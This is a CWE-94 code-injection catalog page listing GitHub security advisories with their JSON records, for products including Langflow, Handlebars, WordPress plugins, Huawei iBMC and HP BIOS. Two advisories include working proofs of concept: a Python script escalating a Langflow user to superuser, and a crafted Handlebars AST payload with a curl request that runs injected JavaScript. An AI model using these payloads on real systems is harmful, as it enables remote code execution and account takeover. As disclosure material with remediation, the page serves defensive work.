Common Weakness Enumeration

CWE-94

Allowed-with-Review

Improper Control of Generation of Code ('Code Injection')

Abstraction: Base · Status: Draft

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

9544 vulnerabilities reference this CWE, most recent first.

GHSA-8Q22-HX6Q-2QQ5

Vulnerability from github – Published: 2022-05-13 01:20 – Updated: 2022-05-13 01:20

Details

The iBMC (Intelligent Baseboard Management Controller) of some Huawei servers have a JSON injection vulnerability due to insufficient input validation. An authenticated, remote attacker can launch a JSON injection to modify the password of administrator. Successful exploit may allow attackers to obtain the management privilege of the system.

Severity

8.8 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2018-7950"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-06-01T14:29:00Z",
    "severity": "HIGH"
  },
  "details": "The iBMC (Intelligent Baseboard Management Controller) of some Huawei servers have a JSON injection vulnerability due to insufficient input validation. An authenticated, remote attacker can launch a JSON injection to modify the password of administrator. Successful exploit may allow attackers to obtain the management privilege of the system.",
  "id": "GHSA-8q22-hx6q-2qq5",
  "modified": "2022-05-13T01:20:38Z",
  "published": "2022-05-13T01:20:38Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-7950"
    },
    {
      "type": "WEB",
      "url": "http://www.huawei.com/en/psirt/security-advisories/huawei-sa-20180530-02-server-en"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8Q6C-32P2-JPVJ

Vulnerability from github – Published: 2022-05-17 02:15 – Updated: 2022-05-17 02:15

Details

uploadImage.php in ProjeQtOr before 6.3.2 allows remote authenticated users to execute arbitrary PHP code by uploading a .php file composed of concatenated image data and script data, as demonstrated by uploading as an image within the description text area.

Severity

8.8 (High)


                  
                    CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2017-11760"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-07-31T17:29:00Z",
    "severity": "HIGH"
  },
  "details": "uploadImage.php in ProjeQtOr before 6.3.2 allows remote authenticated users to execute arbitrary PHP code by uploading a .php file composed of concatenated image data and script data, as demonstrated by uploading as an image within the description text area.",
  "id": "GHSA-8q6c-32p2-jpvj",
  "modified": "2022-05-17T02:15:35Z",
  "published": "2022-05-17T02:15:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-11760"
    },
    {
      "type": "WEB",
      "url": "https://track.projeqtor.org/view/main.php?directAccess=true\u0026objectClass=Ticket\u0026objectId=2884"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8Q6H-J24R-5JM8

Vulnerability from github – Published: 2022-06-24 00:00 – Updated: 2022-06-30 00:00

Details

A vulnerability, which was classified as critical, was found in VaultPress Plugin 1.8.4. This affects an unknown part. The manipulation leads to code injection. It is possible to initiate the attack remotely.

Severity

7.5 (High)


                  
                    CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2017-20086"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-06-23T05:15:00Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability, which was classified as critical, was found in VaultPress Plugin 1.8.4. This affects an unknown part. The manipulation leads to code injection. It is possible to initiate the attack remotely.",
  "id": "GHSA-8q6h-j24r-5jm8",
  "modified": "2022-06-30T00:00:34Z",
  "published": "2022-06-24T00:00:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-20086"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.97383"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2017/Feb/95"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8Q8P-FV92-864W

Vulnerability from github – Published: 2025-12-03 09:31 – Updated: 2025-12-03 09:31

Details

The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Remote Code Execution in versions 0.9.0.5 through 0.9.1.1 via the prepare_form() function. This is due to the function accepting user input and then passing that through call_user_func_array(). This makes it possible for unauthenticated attackers to execute arbitrary code on the server, which can be leveraged to inject backdoors or create new administrative user accounts.

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2025-13486"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-03T07:16:02Z",
    "severity": "CRITICAL"
  },
  "details": "The Advanced Custom Fields: Extended plugin for WordPress is vulnerable to Remote Code Execution in versions 0.9.0.5 through 0.9.1.1 via the prepare_form() function. This is due to the function accepting user input and then passing that through call_user_func_array(). This makes it possible for unauthenticated attackers to execute arbitrary code on the server, which can be leveraged to inject backdoors or create new administrative user accounts.",
  "id": "GHSA-8q8p-fv92-864w",
  "modified": "2025-12-03T09:31:12Z",
  "published": "2025-12-03T09:31:12Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-13486"
    },
    {
      "type": "WEB",
      "url": "https://plugins.trac.wordpress.org/changeset/3400134/acf-extended"
    },
    {
      "type": "WEB",
      "url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/c508cb73-53e6-4ebe-b3d0-285908b722c9?source=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QFW-JQF8-HX6M

Vulnerability from github – Published: 2022-05-01 01:51 – Updated: 2025-04-03 04:10

Details

PHP remote file inclusion vulnerability in tell_a_friend.inc.php for Tell A Friend Script 2.7 before 20050305 allows remote attackers to execute arbitrary PHP code by modifying the script_root parameter to reference a URL on a remote web server that contains the code. NOTE: it was later reported that 2.4 is also affected.

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2005-0679"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2005-05-02T04:00:00Z",
    "severity": "HIGH"
  },
  "details": "PHP remote file inclusion vulnerability in tell_a_friend.inc.php for Tell A Friend Script 2.7 before 20050305 allows remote attackers to execute arbitrary PHP code by modifying the script_root parameter to reference a URL on a remote web server that contains the code.  NOTE: it was later reported that 2.4 is also affected.",
  "id": "GHSA-8qfw-jqf8-hx6m",
  "modified": "2025-04-03T04:10:47Z",
  "published": "2022-05-01T01:51:22Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2005-0679"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/19630"
    },
    {
      "type": "WEB",
      "url": "http://arfis.wordpress.com/2007/09/13/rfi-02-openelibrary"
    },
    {
      "type": "WEB",
      "url": "http://securitytracker.com/id?1013390"
    },
    {
      "type": "WEB",
      "url": "http://www.osvdb.org/14628"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/archive/1/474954/100/0/threaded"
    },
    {
      "type": "WEB",
      "url": "http://www.stadtaus.com/forum/t-1578.html"
    },
    {
      "type": "WEB",
      "url": "http://www.stadtaus.com/forum/t-1579.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-8QPJ-27X8-PWPQ

Vulnerability from github – Published: 2026-10-06 13:38 – Updated: 2026-10-06 13:38

Summary

Langflow: PythonREPLComponent executes unsandboxed Python code, enabling authenticated RCE and privilege escalation

Details

Summary

Langflow's built-in Python interpreter components — PythonREPLComponent (Python Interpreter) and the legacy PythonREPLToolComponent (Python REPL Tool) — executed arbitrary user- or model-supplied Python code inside flows without effective sandboxing. Because the code ran in-process with the privileges of the Langflow service, any authenticated user who could edit and run a flow could achieve remote code execution and, from there, escalate privileges to superuser (e.g. by opening a database session and flipping is_superuser) or compromise the host.

This issue is fixed as of 1.10.1, with additional hardening through 1.12.3. See Remediation below.

Affected

Package: langflow (PyPI), and the underlying lfx package that ships the component.
Vulnerable versions: < 1.10.1.
Patched: 1.10.1 (core fix). Upgrade to >= 1.12.3 for the complete hardening series.

Details

The root cause is code injection (CWE-94/CWE-95): the component passed raw input to LangChain's PythonREPL, which is explicitly not a security sandbox.

Two distinct weaknesses existed before 1.10.1:

Unrestricted builtins (default deployments). get_globals() built the exec globals from the global_imports allow-list but never set __builtins__. CPython's exec() then auto-injected the full builtins module, leaving __import__, open, eval, exec and the whole import machinery reachable regardless of the allow-list — e.g. __import__("os").system(...) or __import__("subprocess").check_output([...]). This made the "only modules in Global Imports can be used" guarantee false, and it applied even with the default configuration (allow_custom_components=True).
No server-policy gate (locked-down deployments). Even a deployment hardened with allow_custom_components=False could still run interpreter code, because the components did not consult that policy before executing.

Both let an authenticated user run the reported PoC, which opens a DB session and sets is_superuser = True on their account, or writes to the filesystem / runs OS commands with the service's privileges.

PoC (as reported)

Authenticate as a normal user.
Create a flow with the PythonREPLComponent.
Execute Python that imports Langflow internals and elevates the account:

import asyncio
from sqlmodel import select
from langflow.services.database.models.user.model import User
from langflow.services.deps import session_scope

async def escalate():
    async with session_scope() as session:
        stmt = select(User).where(User.username == 'testuser')
        user = (await session.exec(stmt)).first()
        if user:
            user.is_superuser = True
            session.add(user)
            await session.commit()

asyncio.run(escalate())

Impact

Any authenticated user could: - Execute arbitrary Python / OS commands with the Langflow service's privileges (RCE). - Escalate their own account to superuser via direct database access. - Read/modify data and configuration, and potentially pivot to the underlying host.

Remediation

Upgrade to Langflow 1.10.1 or later (preferably >= 1.12.3). The interpreter components were hardened with layered, defense-in-depth controls, applied in run_python_repl() before any code is executed:

Restricted builtins — get_globals() injects a curated safe_builtins() mapping, removing __import__, eval, exec, compile, open, input, globals/locals/vars, getattr/setattr, etc. (#13397)
AST validation — validate_code_safety() rejects inline import/from ... import, dunder/escape-gadget attribute access (__class__, __subclasses__, __globals__, frame/traceback introspection) and format-string dunder traversal. (#13397)
Server-policy gate — ensure_code_execution_enabled() refuses to run when allow_custom_components=False or block_code_interpreter_components=True, and fails closed if the settings stack cannot be resolved. (#13700 — this advisory — and #14375)
Allow-listed module proxies — imported modules are exposed via a proxy that blocks reaching sys.modules["os"] through a module's transitive import graph. (#15198)
Optional hardware isolation — configure LANGFLOW_SANDBOX_BACKEND to run interpreter code in an isolated microVM instead of in-process. (#14400)

Upstream fix references: #13397, #13700 (carries this GHSA), #14375, #14400, #15198.

Hardening recommendations for operators

Keep Langflow updated (>= 1.12.3).
For locked-down deployments, set LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false (or LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true) to disable the interpreter entirely.
For deployments that must run untrusted code, configure LANGFLOW_SANDBOX_BACKEND for microVM isolation.
Run the Langflow service as an unprivileged user with least-privilege database credentials.

Severity

9.9 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "langflow"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.10.1"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-10561"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266",
      "CWE-94",
      "CWE-95"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-06T13:38:28Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "### Summary\n\nLangflow\u0027s built-in Python interpreter components \u2014 `PythonREPLComponent` (Python Interpreter) and the legacy `PythonREPLToolComponent` (Python REPL Tool) \u2014 executed arbitrary user- or model-supplied Python code inside flows without effective sandboxing. Because the code ran in-process with the privileges of the Langflow service, any **authenticated** user who could edit and run a flow could achieve remote code execution and, from there, escalate privileges to superuser (e.g. by opening a database session and flipping `is_superuser`) or compromise the host.\n\n**This issue is fixed as of 1.10.1**, with additional hardening through 1.12.3. See *Remediation* below.\n\n### Affected\n\n- **Package:** `langflow` (PyPI), and the underlying `lfx` package that ships the component.\n- **Vulnerable versions:** `\u003c 1.10.1`.\n- **Patched:** `1.10.1` (core fix). Upgrade to `\u003e= 1.12.3` for the complete hardening series.\n\n### Details\n\nThe root cause is **code injection** (CWE-94/CWE-95): the component passed raw input to LangChain\u0027s `PythonREPL`, which is explicitly *not* a security sandbox.\n\nTwo distinct weaknesses existed before 1.10.1:\n\n1. **Unrestricted builtins (default deployments).** `get_globals()` built the `exec` globals from the `global_imports` allow-list but never set `__builtins__`. CPython\u0027s `exec()` then auto-injected the full `builtins` module, leaving `__import__`, `open`, `eval`, `exec` and the whole import machinery reachable regardless of the allow-list \u2014 e.g. `__import__(\"os\").system(...)` or `__import__(\"subprocess\").check_output([...])`. This made the \"only modules in Global Imports can be used\" guarantee false, and it applied even with the **default** configuration (`allow_custom_components=True`).\n\n2. **No server-policy gate (locked-down deployments).** Even a deployment hardened with `allow_custom_components=False` could still run interpreter code, because the components did not consult that policy before executing.\n\nBoth let an authenticated user run the reported PoC, which opens a DB session and sets `is_superuser = True` on their account, or writes to the filesystem / runs OS commands with the service\u0027s privileges.\n\n### PoC (as reported)\n\n1. Authenticate as a normal user.\n2. Create a flow with the `PythonREPLComponent`.\n3. Execute Python that imports Langflow internals and elevates the account:\n\n```python\nimport asyncio\nfrom sqlmodel import select\nfrom langflow.services.database.models.user.model import User\nfrom langflow.services.deps import session_scope\n\nasync def escalate():\n    async with session_scope() as session:\n        stmt = select(User).where(User.username == \u0027testuser\u0027)\n        user = (await session.exec(stmt)).first()\n        if user:\n            user.is_superuser = True\n            session.add(user)\n            await session.commit()\n\nasyncio.run(escalate())\n```\n\n### Impact\n\nAny authenticated user could:\n- Execute arbitrary Python / OS commands with the Langflow service\u0027s privileges (RCE).\n- Escalate their own account to superuser via direct database access.\n- Read/modify data and configuration, and potentially pivot to the underlying host.\n\n### Remediation\n\nUpgrade to **Langflow 1.10.1 or later** (preferably **\u003e= 1.12.3**). The interpreter components were hardened with layered, defense-in-depth controls, applied in `run_python_repl()` before any code is executed:\n\n- **Restricted builtins** \u2014 `get_globals()` injects a curated `safe_builtins()` mapping, removing `__import__`, `eval`, `exec`, `compile`, `open`, `input`, `globals`/`locals`/`vars`, `getattr`/`setattr`, etc. (#13397)\n- **AST validation** \u2014 `validate_code_safety()` rejects inline `import`/`from ... import`, dunder/escape-gadget attribute access (`__class__`, `__subclasses__`, `__globals__`, frame/traceback introspection) and format-string dunder traversal. (#13397)\n- **Server-policy gate** \u2014 `ensure_code_execution_enabled()` refuses to run when `allow_custom_components=False` or `block_code_interpreter_components=True`, and **fails closed** if the settings stack cannot be resolved. (#13700 \u2014 this advisory \u2014 and #14375)\n- **Allow-listed module proxies** \u2014 imported modules are exposed via a proxy that blocks reaching `sys.modules[\"os\"]` through a module\u0027s transitive import graph. (#15198)\n- **Optional hardware isolation** \u2014 configure `LANGFLOW_SANDBOX_BACKEND` to run interpreter code in an isolated microVM instead of in-process. (#14400)\n\nUpstream fix references: #13397, #13700 (carries this GHSA), #14375, #14400, #15198.\n\n### Hardening recommendations for operators\n\n- Keep Langflow updated (\u003e= 1.12.3).\n- For locked-down deployments, set `LANGFLOW_ALLOW_CUSTOM_COMPONENTS=false` (or `LANGFLOW_BLOCK_CODE_INTERPRETER_COMPONENTS=true`) to disable the interpreter entirely.\n- For deployments that must run untrusted code, configure `LANGFLOW_SANDBOX_BACKEND` for microVM isolation.\n- Run the Langflow service as an unprivileged user with least-privilege database credentials.",
  "id": "GHSA-8qpj-27x8-pwpq",
  "modified": "2026-10-06T13:38:28Z",
  "published": "2026-10-06T13:38:28Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/security/advisories/GHSA-8qpj-27x8-pwpq"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-10561"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/pull/13700"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/commit/2754c84aad1306f463db1c3bbb3e8ffbe85da77d"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/langflow-ai/langflow"
    },
    {
      "type": "WEB",
      "url": "https://github.com/langflow-ai/langflow/releases/tag/v1.10.1"
    },
    {
      "type": "WEB",
      "url": "https://www.ibm.com/support/pages/node/7277242"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Langflow: PythonREPLComponent executes unsandboxed Python code, enabling authenticated RCE and privilege escalation"
}

GHSA-8QW7-2JR9-QQ6V

Vulnerability from github – Published: 2022-05-17 02:42 – Updated: 2022-05-17 02:42

Details

Palo Alto Networks Panorama VM Appliance with PAN-OS before 6.0.1 might allow remote attackers to execute arbitrary Python code via a crafted firmware image file.

Severity

7.8 (High)


                  
                    CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2015-6531"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-06-01T16:29:00Z",
    "severity": "HIGH"
  },
  "details": "Palo Alto Networks Panorama VM Appliance with PAN-OS before 6.0.1 might allow remote attackers to execute arbitrary Python code via a crafted firmware image file.",
  "id": "GHSA-8qw7-2jr9-qq6v",
  "modified": "2022-05-17T02:42:21Z",
  "published": "2022-05-17T02:42:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-6531"
    },
    {
      "type": "WEB",
      "url": "https://www.tenable.com/security/research/tra-2015-02"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/76862"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8QX6-GGX9-2J4R

Vulnerability from github – Published: 2026-10-14 18:32 – Updated: 2026-10-14 18:32

Details

Improper Control of Generation of Code ('Code Injection') vulnerability in PluginUs.Net MDTF wp-meta-data-filter-and-taxonomy-filter allows Code Injection.This issue affects MDTF: from n/a through 1.3.9.

Severity

5.3 (Medium)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2026-108151"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-10-14T18:17:27Z",
    "severity": "MODERATE"
  },
  "details": "Improper Control of Generation of Code (\u0027Code Injection\u0027) vulnerability in PluginUs.Net MDTF wp-meta-data-filter-and-taxonomy-filter allows Code Injection.This issue affects MDTF: from n/a through 1.3.9.",
  "id": "GHSA-8qx6-ggx9-2j4r",
  "modified": "2026-10-14T18:32:29Z",
  "published": "2026-10-14T18:32:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-108151"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/wordpress/plugin/wp-meta-data-filter-and-taxonomy-filter/vulnerability/wordpress-mdtf-plugin-1-3-9-arbitrary-code-execution-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8R2C-P9WW-M55W

Vulnerability from github – Published: 2022-12-12 15:30 – Updated: 2022-12-19 18:30

Details

A potential security vulnerability has been identified in certain HP Workstation BIOS (UEFI firmware) which may allow arbitrary code execution. HP is releasing firmware mitigations for the potential vulnerability.

Severity

8.4 (High)


                  
                    CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [],
  "aliases": [
    "CVE-2021-3661"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-94"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-12T13:15:00Z",
    "severity": "HIGH"
  },
  "details": "A potential security vulnerability has been identified in certain HP Workstation BIOS (UEFI firmware) which may allow arbitrary code execution. HP is releasing firmware mitigations for the potential vulnerability.",
  "id": "GHSA-8r2c-p9ww-m55w",
  "modified": "2022-12-19T18:30:25Z",
  "published": "2022-12-12T15:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-3661"
    },
    {
      "type": "WEB",
      "url": "https://support.hp.com/us-en/document/ish_5670997-5671021-16/hpsbhf03770"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-8R5X-FM3F-WHWJ

Vulnerability from github – Published: 2026-10-08 17:52 – Updated: 2026-10-08 17:52

Summary

Handlebars: JavaScript Injection via AST Type Confusion in compile (bypass of CVE-2026-33937)

Details

Summary

Handlebars.compile() and Handlebars.precompile() accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on PathExpression, NumberLiteral and BooleanLiteral nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.

If an application passes an untrusted object to compile() or precompile(), such as a parsed JSON request body, that object can carry arbitrary JavaScript. With compile(), the code runs on the server when the template renders. With precompile(), it ends up in the precompiled output and runs wherever that output is loaded.

Applications that only ever pass template strings are not affected.

This bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.

Details

The 4.7.9 validator runs in parseWithoutProcessing() and walks the whole AST. It only checks values on nodes whose type is PathExpression, NumberLiteral or BooleanLiteral. It passes over plain objects without a type, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:

AST value	Written into generated code as	Compile options needed
`Program.blockParams.length`	`container.program(<index>, data, <length>)`	none (default options)
`depth` on a param that is not a `PathExpression`, e.g. a `StringLiteral`	`depths[<depth>]`	`stringParams: true`
A `StringLiteral.value` that is not a string	raw JavaScript literal	`stringParams: true`
A `PathExpression.original` that is not a string	raw JavaScript literal	`stringParams: true`

The first row works with default options. A Program with blockParams: { "length": "<JS expression>" } passes validation because:

the blockParams object has no type, so none of the type-specific checks apply, and
the walker skips the string under length because it is not an object.

The compiler then reads program.blockParams.length and writes the string directly into the template function. The container.program(...) call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block's helper does not exist.

Proof of Concept

Start a server that compiles request input:

import express from "express";
import Handlebars from "handlebars";

const app = express();
app.use(express.json());

app.post("/api/render", (req, res) => {
  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string
  res.send(template());
});

app.listen(2123);

Save this request body as poc.json. missingHelper does not need to exist:

{
  "text": {
    "type": "Program",
    "loc": { "start": { "line": 1, "column": 0 } },
    "body": [
      {
        "type": "BlockStatement",
        "path": {
          "type": "PathExpression", "data": false, "depth": 0,
          "parts": ["missingHelper"], "original": "missingHelper",
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "params": [],
        "program": {
          "type": "Program",
          "blockParams": {
            "length": "(()=>{throw new Error('Injected code ran as uid ' + process.getuid())})()"
          },
          "body": [],
          "loc": { "start": { "line": 1, "column": 0 } }
        },
        "openStrip": { "open": false, "close": false },
        "inverseStrip": { "open": false, "close": false },
        "closeStrip": { "open": false, "close": false },
        "loc": { "start": { "line": 1, "column": 0 } }
      }
    ]
  }
}

Send the request:

curl -s -X POST 'http://127.0.0.1:2123/api/render' \
     -H 'Content-Type: application/json' --data-binary @poc.json

The server responds with HTTP 500 and an error page showing the injected code ran inside the Node.js process:

Error: Injected code ran as uid 1000

Impact

An application is affected if untrusted input can reach Handlebars.compile() or Handlebars.precompile() as an object instead of a string. A common way this happens is passing a field from a JSON request body straight to compile().

compile(): arbitrary JavaScript runs in the Node.js process with the application's privileges (remote code execution).
precompile(): the injected code is written into the precompiled template and runs wherever that template is loaded, for example in users' browsers.

Workarounds

Validate input type before calling Handlebars.compile(): ensure the argument is always a string, never a plain object or JSON-deserialized value. javascript if (typeof templateInput !== 'string') { throw new TypeError('Template must be a string'); }
Use the Handlebars runtime-only build (handlebars/runtime) on the server if templates are pre-compiled at build time; compile() will be unavailable.

Credits

Variant `Program.blockParams`

Variant `BooleanLiteral|NumberLiteral.value`

sondt99 Thai Son Dinh from VinSOC Labs (R&D)
Ahmed-Elmahgob
nikolakojic-rasit
vk-can
shenhuanageshei
kustundag
kagebunsher
ffasterss

Variant `PathExpression.depth`

hibrian827 Team Atlanta
oss-security-shopify

Severity

9.8 (Critical)


                  
                    CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.7.9"
      },
      "package": {
        "ecosystem": "npm",
        "name": "handlebars"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0"
            },
            {
              "fixed": "4.7.10"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-106446"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-843",
      "CWE-94"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:52:32Z",
    "nvd_published_at": "2026-10-06T20:17:26Z",
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\n`Handlebars.compile()` and `Handlebars.precompile()` accept a pre-parsed AST as well as a template string. Handlebars 4.7.9 added validation for such ASTs. It only checks values on `PathExpression`, `NumberLiteral` and `BooleanLiteral` nodes, and the compiler still writes several other AST values into the generated JavaScript unchecked.\n\nIf an application passes an untrusted object to `compile()` or `precompile()`, such as a parsed JSON request body, that object can carry arbitrary JavaScript. With `compile()`, the code runs on the server when the template renders. With `precompile()`, it ends up in the precompiled output and runs wherever that output is loaded.\n\nApplications that only ever pass template **strings** are not affected.\n\nThis bypasses the AST validation added in 4.7.9 for GHSA-2w6w-674q-4c4q, GHSA-xhpv-hc6g-r9c6 and GHSA-3mfm-83xf-c92r.\n\n## Details\n\nThe 4.7.9 validator runs in `parseWithoutProcessing()` and walks the whole AST. It only checks values on nodes whose `type` is `PathExpression`, `NumberLiteral` or `BooleanLiteral`. It passes over plain objects without a `type`, and over strings and other non-object values. The compiler reads these values from other places and writes them into the generated code as-is:\n\n| AST value | Written into generated code as | Compile options needed |\n| --- | --- | --- |\n| `Program.blockParams.length` | `container.program(\u003cindex\u003e, data, \u003clength\u003e)` | none (default options) |\n| `depth` on a param that is not a `PathExpression`, e.g. a `StringLiteral` | `depths[\u003cdepth\u003e]` | `stringParams: true` |\n| A `StringLiteral.value` that is not a string | raw JavaScript literal | `stringParams: true` |\n| A `PathExpression.original` that is not a string | raw JavaScript literal | `stringParams: true` |\n\nThe first row works with default options. A `Program` with `blockParams: { \"length\": \"\u003cJS expression\u003e\" }` passes validation because:\n\n1. the `blockParams` object has no `type`, so none of the type-specific checks apply, and\n2. the walker skips the string under `length` because it is not an object.\n\nThe compiler then reads `program.blockParams.length` and writes the string directly into the template function. The `container.program(...)` call is part of the helper options object, which is built before the helper is looked up. The code therefore runs on render even if the block\u0027s helper does not exist.\n\n## Proof of Concept\n\n1. Start a server that compiles request input:\n\n```js\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) =\u003e {\n  const template = Handlebars.compile(req.body.text); // `text` may be an object, not a string\n  res.send(template());\n});\n\napp.listen(2123);\n```\n\n2. Save this request body as `poc.json`. `missingHelper` does not need to exist:\n\n```json\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"loc\": { \"start\": { \"line\": 1, \"column\": 0 } },\n    \"body\": [\n      {\n        \"type\": \"BlockStatement\",\n        \"path\": {\n          